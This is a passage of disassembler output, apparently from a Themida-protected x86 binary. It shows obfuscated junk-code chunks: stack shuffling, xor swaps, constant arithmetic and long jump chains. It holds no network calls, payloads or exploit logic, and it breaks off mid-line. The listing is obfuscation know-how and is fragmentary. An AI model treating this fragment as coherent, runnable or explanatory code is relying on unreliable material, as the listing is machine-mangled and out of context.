var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560912 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00560BB9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00560D16 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560DF8 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056254A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00562D37 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00564163 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005643FF SIZE 00000042 BYTES ; FUNCTION CHUNK AT 00564771 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00564EC6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005659D2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566986 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00567019 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005678F4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568256 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005695C4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005697B4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569C48 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056A647 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056ACB8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BB4A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056BCF1 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056C1A1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056C283 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056C4D7 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056CE64 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056D8D0 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056F50F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00570567 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570A1B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005713DE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0057195F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00571B3F SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005727E6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00572A28 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005731F2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00573270 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005737D5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00573909 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573A4F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00574593 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00574CE8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00575103 SIZE 0000000D BYTES push ebx jmp loc_5731F2 sub_561027 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56102D proc near ; CODE XREF: sub_56C474-1431j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005608DA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00560AE6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056229B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00562B7E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00563875 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005657AB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056777D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005677A6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056786F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005694CA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569B21 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00569DC3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056AA20 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056AD68 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BDB1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056D634 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056F156 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056FD5E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005700E2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0057232B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00573BDD SIZE 0000000F BYTES push ebx jmp loc_5657AB sub_56102D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C295 loc_561033: ; CODE XREF: sub_56C295-8F44j pop eax add edi, ebp pop ebp xchg edi, [esp-0Ch+arg_8] pop esp jmp sub_56C553 ; END OF FUNCTION CHUNK FOR sub_56C295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_561040: ; CODE XREF: sub_56241E+C9DFj add esp, 4 and dx, cx push [esp+8+var_8] pop ecx add esp, 4 push cx mov cx, 3898h jmp loc_562962 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_56105E: ; CODE XREF: sub_569A75+41ADj mov bh, cl mov ecx, [esp+6+var_6] add esp, 4 jmp loc_571B76 ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56106B: ; CODE XREF: sub_56651E+9C9Fj sub ebx, 1D9C607Eh add ebx, ecx add ebx, 1D9C607Eh jmp loc_563F44 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56107E: ; CODE XREF: sub_5673C3+2477j xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp mov [esp-4+arg_0], ecx mov ecx, 0FFFFh mov esi, ecx push [esp-4+arg_0] pop ecx push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_56A968 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_5610AD: ; CODE XREF: sub_569A75+6559j add al, 1Dh jmp loc_572D5A ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56666D loc_5610B4: ; CODE XREF: sub_56666D+1386j pop edi add esp, 4 shr ecx, 5 jmp sub_575315 ; END OF FUNCTION CHUNK FOR sub_56666D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574229 loc_5610C3: ; CODE XREF: sub_574229+3j sub al, 28h add al, bl add al, 28h jmp sub_5678CB ; END OF FUNCTION CHUNK FOR sub_574229 ; =============== S U B R O U T I N E ======================================= sub_5610CE proc near ; CODE XREF: sub_560066+125CEj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560B21 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00560E29 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005628C4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00563E62 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00564FAC SIZE 00000054 BYTES ; FUNCTION CHUNK AT 0056508C SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00568A5E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056F379 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057123E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005746FC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005754AD SIZE 00000020 BYTES push ebx push esp pop ebx push edi mov edi, 561B5B60h shr edi, 3 shr edi, 1 shr edi, 6 push ebx mov ebx, 1D4E7F0Ah or edi, ebx pop ebx jmp loc_564FAC sub_5610CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_5610ED: ; CODE XREF: sub_5684A6+5j mov [esp+4+var_4], esi sub esp, 4 mov [esp+8+var_8], esp jmp loc_566C1C ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_5610FE: ; CODE XREF: sub_566400+6D5Dj shl edi, 4 sub edi, 15FB76FFh jmp loc_56F24B ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- loc_56110C: ; CODE XREF: Themida_:0056A683j mov ebp, [esp] add esp, 4 add edi, edx pop edx sub edi, 2 xor edi, [esp] xor [esp], edi jmp loc_56FD26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_561126: ; CODE XREF: sub_563DCB-39DDj pop ecx push edi mov edi, 2 sub ebx, edi pop edi xchg ebx, [esp-4+arg_0] pop esp mov word ptr [esp-8+arg_4], dx push eax mov eax, esp add eax, 4 push edi mov edi, 487954F9h shr edi, 6 jmp loc_56A4CB ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- loc_56114E: ; CODE XREF: Themida_:00568D2Cj pop ebx push edx mov edx, 7C8283Dh jmp loc_56136D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56115A: ; CODE XREF: sub_563A7F+4FDAj mov [esp+0Ch+var_C], ecx mov cl, 0D4h add cl, 5Bh jmp loc_57174B ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_561167: ; CODE XREF: sub_574304-9A95j pop ebp add esp, 4 jmp loc_571A18 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- loc_561173: ; CODE XREF: Themida_:00569AF9j add esp, 4 pop dword ptr [esp] mov esp, [esp] idiv cx jmp loc_574200 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_561187: ; CODE XREF: sub_563DCB+59E4j mov [esp+0], eax jmp loc_56C194 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E5BB loc_56118F: ; CODE XREF: sub_56E5BB+10j pop ecx add esp, 4 add ecx, 4 jmp loc_56A813 ; END OF FUNCTION CHUNK FOR sub_56E5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_56119E: ; CODE XREF: sub_569B75-2754j push esi mov ebx, [esp+0] add esp, 4 mov esi, [esp-4+arg_0] add esp, 4 add eax, ebx mov ebx, [esp+0] push eax mov eax, esp add eax, 4 push esi mov esi, 4 jmp loc_56B67E ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57377E loc_5611C6: ; CODE XREF: sub_57377E+15DAj push edi mov edi, esp jmp loc_56DCF3 ; END OF FUNCTION CHUNK FOR sub_57377E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_5611CE: ; CODE XREF: sub_56CD13-DF4j xor ebp, ecx pop ecx sub ecx, 14443A16h jmp loc_56DA27 ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_5611DC: ; CODE XREF: sub_56671D+C36j mov esi, [esp+8+var_8] add esp, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx jmp loc_563792 ; END OF FUNCTION CHUNK FOR sub_56671D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563152 loc_5611ED: ; CODE XREF: sub_563152+9j mov [esp+2+var_2], ax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_563152 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E5BB loc_5611F6: ; CODE XREF: sub_56E5BB+3398j pop ebx sub edx, 6C3574EEh add edx, edi add edx, 6C3574EEh pop edi push ecx mov ecx, 4 sub edx, 1EFD099Bh jmp loc_572FE8 ; END OF FUNCTION CHUNK FOR sub_56E5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_561217: ; CODE XREF: sub_561541+9FC7j sub ecx, edi pop edi mov eax, ecx mov ecx, [esp+8+var_8] add esp, 4 sub ecx, 672F0506h add ecx, 3C5B5CF5h sub ecx, eax sub ecx, 3C5B5CF5h push edx jmp loc_571D6B ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56123F: ; CODE XREF: sub_56CC46-14EAj push ecx mov ecx, 6955092Dh jmp loc_5743D3 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_56124A: ; CODE XREF: sub_5747D7-150Ej xchg eax, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx jmp sub_56651E ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_561256: ; CODE XREF: sub_56BD44-9FB4j mov edi, [esp+4+var_4] push ecx mov ecx, esp push edi mov edi, 58B01909h neg edi sub edi, 4A690F31h shl edi, 1 neg edi sub edi, 46325070h jmp loc_560A43 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_561279: ; CODE XREF: sub_56EE9F-CB1Cj mov esi, [esp+4+var_4] jmp loc_56897E ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_561281: ; CODE XREF: sub_560C12+817Cj add edi, ebx pop ebx add edi, 2 push ecx mov ecx, esp add ecx, 4 jmp loc_56BF51 ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_561298: ; CODE XREF: sub_56616D+B166j pop esi inc ecx shr ecx, 7 shr ecx, 7 add ecx, 2BD36F6Bh xor edx, ecx jmp loc_572426 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_5612AD: ; CODE XREF: sub_5738F4-CB7Bj xor edi, 1AE521A1h add eax, edi jmp loc_5737C1 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_5612BA: ; CODE XREF: sub_56D4B8-8B03j add ebp, eax mov eax, [esp+4+var_4] add esp, 4 push esi mov esi, 4C9605Ch add edi, esi pop esi sub edi, 123C2D57h add edi, ebp add edi, 123C2D57h sub edi, 4C9605Ch pop ebp add edi, 4 xor edi, [esp-4+arg_0] xor [esp-4+arg_0], edi xor edi, [esp-4+arg_0] pop esp add eax, 780803FBh mov ecx, [esp-8+arg_4] push esi mov esi, esp jmp loc_574048 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_561300: ; CODE XREF: sub_57354D-10D19j mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi add ebx, 4 jmp loc_56BCA0 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_561316: ; CODE XREF: sub_569FB8+A620j add esp, 2 sub esp, 2 mov [esp+2+var_2], bx push 5ECDh mov [esp+6+var_6], edx push ecx mov cl, 0B9h mov dh, cl jmp loc_56C3BF ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_561332: ; CODE XREF: sub_561541+1221Dj push eax push 4953h jmp loc_563066 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56133D: ; CODE XREF: sub_56628B+1CD7j add esp, 4 push 3565h mov [esp+4+var_4], ecx jmp loc_56005C ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C553 loc_56134D: ; CODE XREF: sub_56C553+6F24j mov [esp+0Ch+var_C], esi push [esp+0Ch+var_C] mov ecx, [esp+10h+var_10] add esp, 4 push ecx push esp pop ecx push edi mov edi, 65502174h inc edi inc edi inc edi jmp loc_5724FC ; END OF FUNCTION CHUNK FOR sub_56C553 ; --------------------------------------------------------------------------- loc_56136D: ; CODE XREF: Themida_:00561155j push eax push ebp push 63CB32C1h mov ebp, [esp] jmp loc_57150C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_56137C: ; CODE XREF: sub_56749A-511j bt [esp+0], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560137 loc_561387: ; CODE XREF: sub_560137+9j mov [esp+4+var_4], edi push esp pop edi push 52D9h mov [esp+8+var_8], ebp mov ebp, 34A11519h shl ebp, 7 xor ebp, 508A8C84h add edi, 7EC60229h add edi, ebp push ecx jmp sub_56DA36 ; END OF FUNCTION CHUNK FOR sub_560137 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_5613B0: ; CODE XREF: sub_566117+8D7Aj pop eax push esi mov esi, ebp mov ecx, esi pop esi pop ebp xor ecx, 5DEB3093h xor ecx, 4A9C76E1h jmp loc_56D9C3 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_5613C9: ; CODE XREF: sub_563FA2+EEFFj mov [esp+0], edx mov edx, 2 add esi, edx pop edx push 0D71h mov [esp+0], esi push [esp+arg_0] mov esi, [esp+4+var_4] add esp, 4 pop dword ptr [esp+0] mov esp, [esp-4+arg_0] inc word ptr [esp-4+arg_0] pushf jmp loc_563317 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D72 loc_5613F9: ; CODE XREF: sub_567D72+9630j add dword ptr [esp+0], 4 pop ecx add ecx, 4 push edi mov edi, 4 add ecx, edi pop edi push esi mov esi, esp jmp loc_560F5F ; END OF FUNCTION CHUNK FOR sub_567D72 ; =============== S U B R O U T I N E ======================================= sub_561418 proc near ; CODE XREF: sub_5605BC+9AF7j var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005601A8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005602DE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00560CE1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00561E6C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562060 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00562160 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056223C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005623BB SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005627CE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056287B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005629C7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005633AC SIZE 0000004B BYTES ; FUNCTION CHUNK AT 00563C0B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056563A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565D8B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056622C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056635B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00566484 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0056731E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056736E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056791A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00567A18 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00567D5C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568275 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00568630 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568B79 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00568E2D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569010 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056936F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005694EA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00569ED9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056BBAB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BD4C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056C208 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056C89C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056CA11 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056D8F4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056DC40 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056E67D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EBBE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056EE46 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056F1CF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056FCF0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056FD47 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570103 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005701C2 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005703CD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0057152D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005716BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057181A SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00571E75 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00572023 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0057220E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00572725 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00572A6F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00572C33 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00572E79 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005737EB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0057398D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005739D5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057402D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00574477 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00574499 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00574A64 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00574C78 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00575031 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005751D7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0057528D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0057546A SIZE 00000017 BYTES push ebp jmp loc_5737EB sub_561418 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_56141E: ; CODE XREF: sub_5684A6-3CF7j mov esi, edi mov ecx, esi pop esi pop edi push ecx jmp loc_5652F3 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56142A: ; CODE XREF: sub_561F05+15j add esi, 5E923B80h jmp loc_566B2C ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_561435: ; CODE XREF: sub_573876-8949j add [esp+arg_4], ebx pop ebx sub [esp-4+arg_4], eax sub [esp-4+arg_4], 147E6C73h sub esp, 4 mov [esp+0], ebx push edi push 6FCD1673h mov edi, [esp+8+var_8] add esp, 4 jmp loc_56B235 ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_561460: ; CODE XREF: sub_56241E+126D0j neg bx shl bx, 4 xor bx, 31D5h jmp loc_56A7AD ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- loc_561471: ; CODE XREF: Themida_:0056B610j mov ebx, 0FFD00A9h jmp loc_5626C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56147B: ; CODE XREF: sub_561541-910j add eax, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp+10h+var_10] jmp loc_5617F8 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_561490: ; CODE XREF: sub_56D855+5j push esp push [esp+8+var_8] push [esp+0Ch+var_C] pop eax push ecx mov ecx, esp push eax push edx push 5DBF6661h pop edx neg edx add edx, 62C67F02h sub edx, 0C48D9C7Ch jmp loc_56E220 ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_5614B6: ; CODE XREF: sub_566117+DD9Aj mov esp, [esp+4+var_4] add esp, 4 jmp loc_56CD05 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5614C4: ; CODE XREF: sub_570732+3B73j push 436Ch mov [esp+4+var_4], ebp jmp loc_56B46E ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_5614D1: ; CODE XREF: sub_572641-B7E1j add al, 0Fh sub al, bl jmp loc_56DAC8 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_5614DA: ; CODE XREF: sub_5638E4+7CB8j add ebx, 7D5E0DA3h push ebp mov ebp, 66B24CE7h xor ebx, ebp pop ebp jmp loc_564E1C ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_5614EE: ; CODE XREF: sub_569D5F+9j mov bh, 86h add bh, cl jmp loc_56AA41 ; END OF FUNCTION CHUNK FOR sub_569D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_5614F7: ; CODE XREF: sub_571890-1952j pop [esp+0Ch+var_C] push eax mov eax, 4 add [esp+0Ch+var_8], eax pop eax jmp loc_56F4DE ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_56150A: ; CODE XREF: sub_56638C+9j mov [esp+4+var_4], esi push esp mov esi, [esp+8+var_8] push 49h mov [esp+0Ch+var_C], edx jmp loc_56266F ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_56151E: ; CODE XREF: sub_5648C6+87C6j mov [esp+4+var_4], ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] movsx ecx, al sub esp, 4 mov [esp+0], edi push esp pop edi jmp loc_56420A ; END OF FUNCTION CHUNK FOR sub_5648C6 ; =============== S U B R O U T I N E ======================================= sub_561541 proc near ; CODE XREF: sub_56D4B8+6BADj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0056018C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005601E6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00560C2D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561217 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00561332 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056147B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005617F8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00563066 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563888 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056554D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567057 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00567147 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00567173 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00567806 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00567FA4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568011 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00568063 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00568C62 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056B4FB SIZE 00000012 BYTES ; FUNCTION CHUNK 